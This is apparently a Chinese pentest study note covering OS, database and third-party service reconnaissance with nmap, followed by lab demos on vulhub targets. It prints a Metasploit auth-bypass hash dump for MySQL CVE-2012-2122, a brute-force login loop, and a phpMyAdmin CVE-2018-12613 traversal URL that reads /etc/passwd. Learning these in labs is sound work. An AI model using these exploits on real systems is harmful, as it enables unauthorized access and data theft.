image.png

一、操作系统层面:

1、识别操作系统常见方法

a、有网站
可以通过网站识别通过网站的手工识别方法判断:
windows对大小写不敏感也就是说你在网页中可以替换网站路径的大小写进行测试
b、没有网站
通过nmap进行扫描方法:
nmap -O IP地址

  1. ──(root💀kali)-[~/桌面]
  2. └─# nmap -O 10.1.1.10
  3. Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 21:06 CST
  4. Nmap scan report for 10.1.1.10 (10.1.1.10)
  5. Host is up (0.0011s latency).
  6. Not shown: 999 closed ports
  7. PORT STATE SERVICE
  8. 22/tcp open ssh
  9. MAC Address: 00:0C:29:13:E9:61 (VMware)
  10. Device type: general purpose
  11. Running: Linux 3.X|4.X
  12. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  13. OS details: Linux 3.2 - 4.9
  14. Network Distance: 1 hop

备注:不是所有的系统都可以用这种方式扫描出操作系统的类型、在windows的一些高版本中无法探测,例如:

  1. ─# nmap -O 10.1.1.129
  2. Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 21:10 CST
  3. Nmap scan report for 10.1.1.129 (10.1.1.129)
  4. Host is up (0.00053s latency).
  5. Not shown: 994 closed ports
  6. PORT STATE SERVICE
  7. 80/tcp open http
  8. MAC Address: 00:0C:29:DC:AF:EA (VMware)
  9. No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
  10. TCP/IP fingerprint:
  11. OS:SCAN(V=7.91%E=4%D=6/7%OT=80%CT=1%CU=36041%PV=Y%DS=1%DC=D%G=Y%M=000C29%TM
  12. OS:=60BE1ADE%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%II=I%
  13. OS:SS=S%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=M5
  14. OS:B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
  15. OS:ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%
  16. OS:F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=
  17. OS:80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%
  18. OS:Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=
  19. OS:A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
  20. OS:Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
  21. OS:T=80%CD=Z)

c、TTL

  1. 不同的操作系统的默认TTL值是不同的, 所以我们可以通过TTL值来判断主机的操作系统,但是当用户修改了TTL值的时候,就会误导我们的判断,所以这种判断方式也不一定准确。下面是默认操作系统的TTL
  2. 1WINDOWS NT/2000 TTL128
  3. 2WINDOWS 95/98 TTL32
  4. 3UNIX TTL255
  5. 4LINUX TTL64
  6. 5WIN7 TTL64

d、特殊端口 如(22 / 139 / 445 / 1433 / 3389)

2、简要两者区别及识别意义

  1. 区别出不同的操作系统才能对症下药、因为windowslinux的漏洞是不一样的、可能windows的漏洞在windows上就不能运用,

3、操作系统层面漏洞类型对应意义

  1. 不同的漏洞会造成不同漏洞利用的条件

4、简要操作系统层面漏洞影响范围

  1. 有些漏洞会对操作系统造成崩溃、而有些系统只是蓝屏、或者是权限的提升

二、数据库层面

1、识别数据库类型常见方法

默认的语言搭配的数据库

  1. 组合类型asp + access/mssql
  2. 组合类型php + mysql
  3. 组合类型aspx+mssql
  4. 组合类型jsp +mysql/oracle
  5. 组合类型Python + MongoDB

常见的数据库默认端口号

  1. 关系型数据库
  2. mysql 3306
  3. sqlserver 1433
  4. oracle 1521
  5. psotgresql 5432
  6. 非关系型数据库
  7. MongoDB 27017
  8. Redis 6379
  9. memcached 11211

2、数据库类型区别及识别意义

  1. 数据库的不同表示的结构也是不同、写法结构也不一样、所以产生的漏洞也不一样。
  2. 不同的数据库的攻击方式也不完全一样。

3、数据库常见漏洞类型及攻击

  1. 存在弱口令
  2. 数据库漏洞

4、简要数据库层面漏洞影响范围

  1. 数据库权限
  2. 网站权限
  3. 修改网页内容

第三方层面

1、如何判断有那些第三方平台或软件

  1. 通过网站去扫描有些网站安装了第三方的软件如phpmyadmin通过扫描就可以发现他的安装目录
  2. 判断安装了第三方软件
  3. 端口扫描
  4. nmap -O -sV 10.1.1.130
  5. Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 09:26 CST
  6. Nmap scan report for 10.1.1.130 (10.1.1.130)
  7. Host is up (0.00085s latency).
  8. Not shown: 978 closed ports
  9. PORT STATE SERVICE VERSION
  10. 21/tcp open ftp vsftpd 2.3.4
  11. 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  12. 23/tcp open telnet Linux telnetd
  13. 25/tcp open smtp Postfix smtpd
  14. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
  15. 111/tcp open rpcbind 2 (RPC #100000)
  16. 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  17. 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  18. 512/tcp open exec?
  19. 513/tcp open login?
  20. 514/tcp open tcpwrapped
  21. 1099/tcp open java-rmi GNU Classpath grmiregistry
  22. 1524/tcp open bindshell Metasploitable root shell
  23. 2049/tcp open nfs 2-4 (RPC #100003)
  24. 2121/tcp open ftp ProFTPD 1.3.1
  25. 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
  26. 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
  27. 5900/tcp open vnc VNC (protocol 3.3)
  28. 6000/tcp open X11 (access denied)
  29. 6667/tcp open irc UnrealIRCd
  30. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
  31. 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

2、简要为什么要识别第三方平台或软件

  1. 不同的第三方软件或工具存在不同的漏洞、识别到更多的信息对收集到的漏洞也就越多

3、常见第三方平台或软件漏洞类型及攻击

  1. 弱口令
  2. 软件的漏洞攻击

4、简要第三方平台或软件安全测试的范围

  1. 直接获取到软件的权限便于进一步的提权和攻击

补充

除去常规wEB安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件,游戏,负载均衡等),也可以作为安全测试目标,此类目标测试原则只是少了wEB应用或其他安全问题。所以明确安全测试思路是很重要的!

四、演示案例

1、上述涉及的基础知识

2、演示某操作系统层面漏洞

3、演示某数据库弱口令及漏洞演示

方法1
漏洞探测

  1. 参考文档:https://vulhub.org/#/environments/mysql/CVE-2012-2122/
  2. ┌──(root💀kali)-[~]
  3. └─# nmap -O -sV 10.1.1.133
  4. Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 11:09 CST
  5. Nmap scan report for 10.1.1.133 (10.1.1.133)
  6. Host is up (0.0011s latency).
  7. Not shown: 998 closed ports
  8. PORT STATE SERVICE VERSION
  9. 22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
  10. 3306/tcp open mysql MySQL 5.5.23
  11. MAC Address: 00:0C:29:13:E9:61 (VMware)
  12. Device type: general purpose
  13. Running: Linux 3.X|4.X
  14. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  15. OS details: Linux 3.2 - 4.9
  16. Network Distance: 1 hop
  17. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  18. Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds

漏洞利用

  1. msf6 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
  2. msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 10.1.1.133
  3. rhosts => 10.1.1.133
  4. msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set threads 10
  5. threads => 10
  6. msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run
  7. [+] 10.1.1.133:3306 - 10.1.1.133:3306 The server allows logins, proceeding with bypass test
  8. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 10% complete
  9. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 20% complete
  10. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 30% complete
  11. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 40% complete
  12. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 50% complete
  13. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 60% complete
  14. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 70% complete
  15. [*] 10.1.1.133:3306 - 10.1.1.133:3306 Authentication bypass is 80% complete
  16. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Successfully bypassed authentication after 847 attempts. URI: mysql://root:DBrmCST@10.1.1.133:3306
  17. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Successfully exploited the authentication bypass flaw, dumping hashes...
  18. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
  19. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
  20. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
  21. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
  22. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
  23. [+] 10.1.1.133:3306 - 10.1.1.133:3306 Hash Table has been saved: /root/.msf4/loot/20210608111341_default_10.1.1.133_mysql.hashes_091970.txt
  24. [*] 10.1.1.133:3306 - Scanned 1 of 1 hosts (100% complete)
  25. [*] Auxiliary module execution completed
  26. md5在线解密
  27. https://www.cmd5.com/

image.png

  1. └─# mysql -uroot -p123456 -h10.1.1.133
  2. Welcome to the MariaDB monitor. Commands end with ; or \g.
  3. Your MySQL connection id is 886
  4. Server version: 5.5.23 Source distribution
  5. Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
  6. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
  7. MySQL [(none)]> show databases;
  8. +--------------------+
  9. | Database |
  10. +--------------------+
  11. | information_schema |
  12. | mysql |
  13. | performance_schema |
  14. | test |
  15. +--------------------+
  16. 4 rows in set (0.001 sec)

方法二

  1. ┌──(root💀kali)-[~]
  2. └─# for i in `seq 1 1000`;do mysql -uroot -pwrong -h 10.1.1.133 -P 3306; done 130
  3. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  4. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  5. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  6. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  7. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  8. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  9. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  10. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  11. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  12. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  13. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  14. ERROR 1045 (28000): Access denied for user 'root'@'10.1.1.128' (using password: YES)
  15. Welcome to the MariaDB monitor. Commands end with ; or \g.
  16. Your MySQL connection id is 1553
  17. Server version: 5.5.23 Source distribution
  18. Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
  19. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
  20. MySQL [(none)]>

4、某第三方应用安全漏洞演示

https://vulhub.org/#/environments/phpmyadmin/CVE-2018-12613/
环境搭建

  1. [root@hdss7-11 CVE-2018-12613]# pwd
  2. /opt/vulhub/vulhub-master/phpmyadmin/CVE-2018-12613
  3. [root@hdss7-11 CVE-2018-12613]# docker-compose up -d

image.png
漏洞利用
http://10.1.1.133:8080/?target=db_sql.php%253f/../../../../../../../../etc/passwd
image.png